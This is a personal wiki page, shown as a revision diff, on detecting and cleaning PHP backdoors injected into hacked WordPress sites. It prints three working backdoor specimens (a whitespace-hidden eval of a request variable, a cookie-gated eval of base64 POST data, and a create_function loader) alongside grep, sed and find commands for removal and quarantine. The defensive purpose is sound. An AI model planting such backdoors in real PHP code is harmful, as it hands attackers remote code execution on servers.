PHP Hack Fix: Difference between revisions

From Leo's Notes
This page was last edited on 7 December 2015, at 18:05.
specimens
Line 5: Line 5:
== Searching By String ==
== Searching By String ==


The simplest backdoor which gets injected to the first line of a .php file looks similar to the following. The code does not end with a newline, which means that the beginning of the original file will begin immediately after the <code>?></code>.
The simplest backdoor is a one liner that is injected to either the first or last line of a {{code|.php}} file. The code may not end with a newline, so it might include the {{code|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.
 
=== Hack Specimens ===
This one literally has 255 spaces before the start {{code|<?php}} tag instead of the comment.
{{highlight|lang=php|code=
        /* 255 spaces */        <?php                                                                                                                                                                                                                                                              $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?><?php
}}
 
Here's another which was used by a wordpress spammer.
{{highlight|lang=php|code=
<?php if(md5($_COOKIE['4f898c79e5e6fabc'])=="44173dc1c859c258c840a03b9c9cb3e6"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
}}
 
Here's another wordpress spammer.
{{highlight|lang=php|code=
$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }
}}


<syntaxhighlight lang="php">
<?php                                                                                                                                                                                                                                                              $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?>
</syntaxhighlight>


The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:
The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:
Line 41: Line 54:


=== Quarantine ===
=== Quarantine ===
<syntaxhighlight lang="bash"  enclose="div">
{{highlight|lang=bash|code=
find -type f -size XXXXc -iname \*.php -exec  ls {} \; | while read i ; do Name=`echo $i|sed 's/\//-/g'|sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
find -type f -size XXXXc -iname \*.php -exec  ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
</syntaxhighlight>
}}


[[Category:Coding]]
[[Category:Coding]]

Revision as of 18:05, 7 December 2015

Typically, these PHP hacks are uploaded remotely through an already opened exploit such as an old install of WordPress. Remote exploits allow for arbitrary code execution which can do various things including adding backdoors to all .php files it encounters or by uploading a payload to the server to spam.

This page will contain the methods used to detect and remove these scripts.

Searching By String

The simplest backdoor is a one liner that is injected to either the first or last line of a .php file. The code may not end with a newline, so it might include the <?php start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.

Hack Specimens

This one literally has 255 spaces before the start <?php tag instead of the comment.

/* 255 spaces */         <?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?><?php

Here's another which was used by a wordpress spammer.

<?php if(md5($_COOKIE['4f898c79e5e6fabc'])=="44173dc1c859c258c840a03b9c9cb3e6"){ eval(base64_decode($_POST['file'])); exit; } ?><?php

Here's another wordpress spammer.

$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }


The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:

  grep -iRl --include \*.php 'php                                                       ' *

To fix the file, uses the following sed command which will delete everything until the first ?> string.

  sed '1s/^.*?>//'

Warning: The above will nuke everything until the last ?> - If you know how to make it so it deletes everything up till the first one, update me!

You can then string up the commands to mass-fix exploited files:

 grep -iRl --include \*.php 'php                                                       ' * | while read i ; do echo $i ; head -n 1 $i | grep -oH strtoupper && head -n 1 $i &&  sed '1s/^.*?>//' -i $i ; done

Because the script randomizes its strings and variables used, grepping for a specific string is not as reliable.


Searching By Size

Since hackers upload the same exploits in multiple places, it's a good idea to keep copies of any found exploits and then search the compromised account for files of the same size.

A backdoor which I found was 510 bytes in size. Running the following command turned up more of the same exploits.

 find -type f -size 510c -iname \*.php -exec  ls {} \;

A spammer I found had a size of 64680 and later 64690.

 find -type f -size 64680c -iname \*.php -exec  ls {} \;
 find -type f -size 64690c -iname \*.php -exec  ls {} \;


Quarantine

find -type f -size XXXXc -iname \*.php -exec  ls {} \; | while read i ; do Name=`echo $i | sed 's/\//-/g' | sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done